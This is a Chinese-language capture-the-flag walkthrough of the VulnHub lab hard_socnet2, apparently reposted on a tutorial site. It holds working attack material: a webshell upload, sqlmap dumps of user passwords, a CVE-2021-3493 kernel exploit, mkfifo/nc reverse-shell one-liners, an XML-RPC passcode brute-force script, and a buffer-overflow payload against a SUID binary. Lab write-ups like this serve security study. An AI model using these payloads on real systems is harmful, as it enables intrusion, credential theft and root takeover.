Java教程

第五台

本文主要是介绍第五台,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

靶场05

靶机地址: https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

难度等级: 高

打靶目标: 取得 root 权限

参考链接:

  1. https://docs.python.org/zh-cn/3/library/xmlrpc.html

涉及攻击方法:

  • 主机发现

  • 端口扫描

  • SQL注入

  • 文件上传

  • 蚁剑上线

  • CVE-2021-3493

  • XMLRPC

  • 逆向工程

  • 动态调试

  • 缓冲区溢出

  • 漏洞利用代码编写

注意

本次难度较高,用到了许多在真实环境中可能不会用到的高难度技巧,如缓冲区溢出、动态调试与逆向等等,靶机没有flag,目标为取得root权限

1.主机发现

我们直接使用arp-scan进行扫描

sudo arp-scan -l

image-20211030151421668

2.全端口扫描

sudo nmap -p- 10.0.2.7

image-20211030151556962

发现开放了22,80,8000端口,在查看一下在开放端口开启的服务

sudo nmap -p22,80,8000 -sV 10.0.2.7

image-20211030151822090

22端口开放的是ssh服务,80端口开放的是Apache服务,8000端口开放的是http的服务使用的是python的服务器脚本语言开启的一个BaseHTTPServer

使用浏览器对web服务端口进行访问一下

image-20211030152638662

501服务端错误,不支持GET方法,那我们使用burp对服务器提交其他类型的请求方法

我们尝试使用OPTIONS,POST,PUT,DELETE等等都不行,那我们去其他服务看看,去80端口看看

image-20211030153815104

发现这是一个登陆页面,那我们谁不是可以使用万能密码进行登陆,或者进行爆破,无法爆破以为经验证发现要是用邮箱进行登陆,并且我们不知道任何关于账号密码的信息。但是这个登陆页面虽然无法登陆,但是我们可以进行注册,然后再登陆呀!

注意:我们再进行一下渗透过程当中,面对这些开放了注册功能的网站的时候绝对不要使用任何有关的真实的个人信息,一定要使用虚假的个人信息。

image-20211030155330666

成功登陆后台,发现提示

image-20211030155715319

你好,朋友们!我一直在开发一个监控服务器的新脚本。它叫做monitor.py我正在这个服务器上运行它。我很快就会发布!

3.文件上传

在后台我们发现了一个可以更改头像的功能

image-20211030160106667

这是一个非常典型的上传漏洞利用,直接上传一个一句话木马 发现竟然直接上传成功了

image-20211030161302353

打开蚁剑直接连接

image-20211030163002542

image-20211030163035126

同时表单处是存在sql注入

image-20211030163224088

那我们可以直接调用sqlmap

image-20211030163657531

image-20211030163805690

查看一下数据库 --dbs

image-20211030164009303

查看一下表

sqlmap -r r -p query -D socialnetwork --tables  

image-20211030164043018

查看一下列

sqlmap -r r -p query -D socialnetwork -T users --columns  

image-20211030164311081

如果我们要登陆的话要email和password

sqlmap -r r -p query -D socialnetwork -T users -C user_email,user_password --dump   

image-20211030164652437

我们尝试登陆一下之前的web页面,查看一下管理员账号是否存在其他的功能,没发现其他功能和有用的信息,既然我们获得了这三个账号的密码,那我们可以尝试去使用ssh登陆一下

4.提权(非预期)

我们回到蚁剑,使用我们刚刚获得的低权限用户进行提权

image-20211030165520968

内核是4.15的内核,是一个Ubuntu的操作系统,这是一个Ubuntu 18.04.1 LTS的版本,现在最新的是18.04.5,而Ubuntu今年刚刚爆出了一个针对Ubuntu的本地的提权漏洞的利用方法CVE-2021-3493在kali上面直接下载

git clone https://github.com/inspiringz/CVE-2021-3493.git

image-20211030171146220

蚁剑上传文件,编译一下

gcc -o exp exploit.c

赋予执行权限

chmod +x exp

直接执行一下exp

./exp id

image-20211030171751469

方便一点我们使用nc来连接,经过测试在靶机上的nc是不支持-e参数的

我们接着使用nc串联的方式或者我们来使用一种新的方法

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.2.4 3333 >/tmp/f

kail开启监听

nc -lvnp 3333

image-20211030172553598

使用python对当前shell进行升级

python -c "import pty; pty.spawn('/bin/bash')"

image-20211030172943686

但是这台靶机是2020年的,这个提权漏洞是2021年的。我们用本朝的剑斩了前朝的官,按方向来说是没问题的,但是,我们要回到过去,如何用前朝的剑斩了前朝的官了。

提权法二

我们回到低权限用户,不使用cve-2021-3493

image-20211031163022519

查看一下cat /etc/passwd

image-20211031163216353

发现存在bash登陆权限的用户,这应该是某个应用程序的管理账号,我们去/home去看看有没有这个属于这个账号的主目录

image-20211031164233577

还真的有,我们进去看看

image-20211031164321518

monitor.py很眼熟对不对,我们之前在web页面发现的那个,并且提示说这个脚本已经运行了,我们查看一下,看看系统进程里面是不是存在这个文件

ps aux | grep monitor

image-20211031164542682

我们查看一下程序源码,看看这个程序是不是有漏洞,可以帮我们实现提权这个操作

# www-data@socnet2:/home/socnet$ cat monitor.py
#my remote server management API 提示我们说这是一个远程服务的api接口

# 这里导入了库
import SimpleXMLRPCServer 
import subprocess
import random

# 定义变量,生成1000-9999的一个数
debugging_pass = random.randint(1000,9999)


# 定义函数,执行某些功能
# 这个runcmd函数,创建一个新的进程执行传入的命令
def runcmd(cmd):
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = results.stdout.read() + results.stderr.read()
    return output

# 查看调用runcmd函数,查看cpu的信息
def cpu():
    return runcmd("cat /proc/cpuinfo")

# 查看调用runcmd函数,查看内存使用的信息
def mem():
    return runcmd("free -m")

# 查看调用runcmd函数,查看磁盘存储的信息
def disk():
    return runcmd("df -h")

# 查看调用runcmd函数,查看网络配置的信息
def net():
    return runcmd("ip a")

# 这个函数执行cmd命令,但是这个cmd命令是可控的,但是这个要使用到passcode变量,并且这个passcode变量要跟前面定义的debugging_pass随机生成的数字要一样才可以执行后面的cmd命令,但是我们如何获得这个随机生成的值了--->爆破
def secure_cmd(cmd,passcode):
    if passcode==debugging_pass:
         return runcmd(cmd)
    else:
        return "Wrong passcode."
t
# 这个8000端口我们之前就探测到了,但是之前发送的post get put等请求都是无效的信息,原来这个只接收XML-RPC的请求
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
# 这里只要知道函数名称就可以使用xml-rpc对服务端发起请求,就可以执行命令了
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)

server.serve_forever()


补充XML-RPC的知识点
https://baike.baidu.com/item/XML-RPC/10888726?fr=aladdin

简单来说就可以利用这个方法在服务端生成api接口,可以接收同样是使用XML-RPC的客户端访问服务器端的api去运行服务端的函数,从而实现应用程序交互的效果

在官网我们找到了XML-RPC的使用方法

https://docs.python.org/zh-cn/3/library/xmlrpc.html

server端

from xmlrpc.server import SimpleXMLRPCServerdef is_even(n): # 定义函数    return n % 2 == 0server = SimpleXMLRPCServer(("localhost", 8000)) # 开启服务print("Listening on port 8000...") server.register_function(is_even, "is_even") server.serve_forever()

client端

import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://localhost:8000/") as proxy:    print("3 is even: %s" % str(proxy.is_even(3)))    print("100 is even: %s" % str(proxy.is_even(100)))

爆破脚本编写

import xmlrpc.clients = xmlrpc.client.ServerProxy('http://192.168.1.10:8000')for x in range(1000,10000):    res = s.secure_cmd('id',x)    if not "Wrong" in res:        print("Pass:"+str(x))        break

image-20211031215652357

反弹shell脚本

import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://10.0.2.7:8000/") as proxy:    cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 10.0.2.4 6666 > /tmp/f"    r = str(proxy.secure_cmd(cmd,4513))    print(r)

image-20211031220438283

成功拿到shell,进入/home目录下的socnet的目录下查看一下有什么

image-20211031220757618

我们已经获得了socnet这个账号的权限,接下来我们要再进行提权进行升级,升级到我们的root账号的权限,那如何提权了?我们意外的发现了add_recordsuid修饰符,而且所属账号还是root得

image-20211031221110760

查看一下add_record的文件类型,是ELF跟window的exe文件基本上一样,并且这个文件执行的时候还调用了setuidsetgid权限位,那我们就要针对这setuidsetgid权限位进行提权

image-20211031221331789

然后我们发现了peda 是用来进行动态调试的
https://blog.csdn.net/SmalOSnail/article/details/53149426?locationNum=1&fps=1'

那我们就可以使用pedaadd_record进行动态调试来实现对漏洞的挖掘,例如内存溢出,堆溢出,类似这样子的漏洞,进而使用这样的漏洞进行本地提权

我们先查看一下这个程序有那些入口点,那我们可以来执行一下这个程序

image-20211031225908270

使用这个程序可以添加关于社交网络2.0员工的信息,我们随便提交信息查看一下

image-20211031230208379

此时目录下多出了一个文件,我们再增加条信息看看

image-20211031231753219

image-20211031230251588

image-20211031231552628

针对每一个可以提交数据的入口点挨个提交数据,测试是否存在内存溢出漏洞

gdb -q ./add_record

gdb是一个程序的动态调试工具,通过这个工具我们可以跟踪,监视这个程序在运行过程中,所有的计算机的寄存器,堆栈,内存的使用情况,每一次函数的调用,每一次的内存的变化,都可以进行非常详细的跟踪和判断,那我们就可以具体了解到是那一次的数据的提交,可以造成内存数据的溢出。

输入r程序才可以被正式的加载执行

image-20211031233127688

我们输入大量的500个A去监视内存的变化

image-20211031233316727

程序正常的直接退出了,这个位置好像不行,换一个,最后发现在工作失误描述那个输入点发现内存溢出

image-20211031233608263

此时堆栈中出现了大量的A工作失误描述这个点没有做内存范围的限定,导致了溢出到了堆栈中

EIP寄存器中保存的数据是CPU接下来要运行的下一指令的放置的内存地址的编号,我们现在要确定是那个A覆盖到了EIP寄存器当中,只要判定出来就可以替换为我们的payload地址,然后可以执行我们的代码了

一百个A也会导致溢出,那究竟是一百个A中的哪一个了,我们可以使用gdb生成特征字符

image-20211031234947599

image-20211031235104635

出现了AHAA是那个位置了?

image-20211031235305539

是第62个字符,那么从63个字符开始就会进入到EIP寄存器当中,我们构造一下需要注入到里面的内容,我先测试一下image-20211031235618854

生成62个字符+BCDE,在丢到pdb里面调试

image-20211031235715545

我们现在可以精准的向寄存器写入我们需要执行的数据。我们查看一下这个程序的汇编代码

disas main # 显示汇编代码

image-20211101000721626

我们对put函数之前设置一个断点

image-20211101000854745

image-20211101000931558

已经触及到了断点,接下来就要去执行puts函数了

输入s命令使其单步执行

image-20211101001125366

我们要把汇编程序的代码和程序的每个功能对应起来,一步一步的调试

puts是显示欢迎信息,printf是输入用户名,下一个printf是输入你的工作年限,以此类推,下一个printf是输入你的工资的数量,下个是你个工作是否出现问题,我们在查看汇编代码的时候突然发现了vuln函数

image-20211101002322054

这里没有@说明不是内嵌函数而是开发者自己写的函数,这个函数的功能是什么,我们需要进一步的调查,我看查看一下这个应用程序中所有定义的函数

info func

image-20211101002847165

发现调用了suid函数,system函数出现什么这个应用程序中是由调用命令执行系统命令的操作的,那我们就要想办法使这个system函数去执行我们的payload

接下来我们发了 vuln 和 backdoor 这两个函数

image-20211101003201352

我们针对vuln查看一下它调用了那些指令

image-20211101003443413

我们发现strcpy@plt这个函数,通过搜索我们发现这个函数在历史版本是存在缓冲区溢出的漏洞

我们在查看一下backdoor这个函数

image-20211101004043844

这里是通过backdoor函数调用给了suid函数请求到响应的权限然后再执行system函数,system执行了那些系统指令了,我们现在还不知道,那我们对system函数执行一下跟踪,我们获取这个backdoor函数起始的内存地址0x08048676,如果我们能把这个地址写入EIP寄存器的话,我们就可以通过程序的正常执行Explain那个变量注入的数据,在62个字符后,把这个地址放进去,进而EIP寄存器就会读取backdoor下的所有指令,然后一步步跟进,看看system调用了什么函数。

image-20211101005235646

再输入了变量后会执行vuln函数,主程序会执行vuln函数,vuln又会调用那个存在漏洞系统内嵌的strcpy@plt函数,接着发现主函数是没有调用backdoor这个函数的,利用主程序里加载的vuln函数,对它进行缓冲区溢出漏洞向EIP寄存器写入backdoor函数的起始内存地址,通过vuln的函数去执行backdoor函数,用backdoor函数去执行suid这个系统函数,执行system函数,进而执行到system函数当中执行的操作系统的命令,判定出system执行的系统命令是什么,看看有没有办法注入更多的payload,进而实现利用,实现本地提权的目的

这里我们要注意一点

image-20211101010235668

这里的顺序是颠倒过来的,42对应B 43对应C 44对应D 45对应E 内存中是颠倒的,这是CPU架构的大头和小头导致的,我们要把backdoor的地址写入到这里的话,我们也要颠倒过来写入,接下来我们使用backdoor函数的起始内存地址和之前的溢出的A拼接起来

构造payload

python -c "import struct; print('aa\n1\n1\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" > payload

image-20211101011314473

q退出pdb调试

image-20211101011537442

接下来我们要把这个payload一次性的输入给这个应用程序,看看这个应用程序会不会有一些漏洞的产生

image-20211101011807451

这里告诉我们产生了一个新的进程 进程ID21802 这个进程执行了一个 /bin/dash ,接下来又创建了一个新的进程 执行了 /bin/bash,我们需要对vuln函数进行下断点,查看一下backdoor函数是如何添加进来的,backdoor又是如何导致了bash和dash程序被加载进来的

image-20211101012827315

按s进行不断的跟进

image-20211101013138574

当backdoor函数执行到23条指令的时候,就开始调用suid函数了

image-20211101013316062

此时说明我们刚刚注入起始函数的起始内存地址已经被正常加载了,一直跟进

image-20211101015006041

此时suid已经向系统申请权限完成,准备执行system函数,system调用了那些操作系统指令了,我们继续跟进

image-20211101015240450

此时寄存器中出现了/bin/bash,通过system函数,要把/bin/bash这个指令push到eax寄存器里面,然后交给cpu去执行,cpu执行的结果就是/bin/bash

漏洞成因:这个应用程序的主程序代码里面又一个vuln函数,这个函数是有漏洞的,这个漏洞来源于strcpy@plt`这个函数存在缓冲区溢出漏洞,因为调用了这个存在缓冲区溢出漏洞的函数,所以vuln函数也就存在了漏洞,而由于我们在Explain输入数据的时候,这个数据会导致vuln函数的缓冲区溢出函数被我们触发从而改写EIP寄存器当中的具体地址,进而我们通过这个改写的地址将backdoor这个函数这个他的内存当中的内存地址给他写入EIP寄存器当中,通过这种方法,通过vuln函数的漏洞加载了backdoor函数,而backdoor函数当中调用了system系统命令同时也调用了suid请求了suid的权限,以属主(root)的权限运行了这个权限,所以以root权限执行了这个程序,执行程序当中调用了system这个系统函数,而system系统函数又执行了最终cpu请求给他执行的/bin/bash的操作系统的shell,从而利用这一系列的漏洞,内存的跟踪,查看,分析他的汇编代码,最终定位找到了这个漏洞的具体存在位置,接下来我们只要正常的触发这个漏洞的执行,最终就会通过这个函数执行bash,这个bash将会是以root权限执行的

cat payload - | ./add_record

image-20211101021737669

此时我们获得了一个黑屏的画面

image-20211101021819598

未得到更友好的shell,我们在执行一下之前反弹shell的命令

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.2.4 8888 >/tmp/f

image-20211101022512925

这篇关于第五台的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!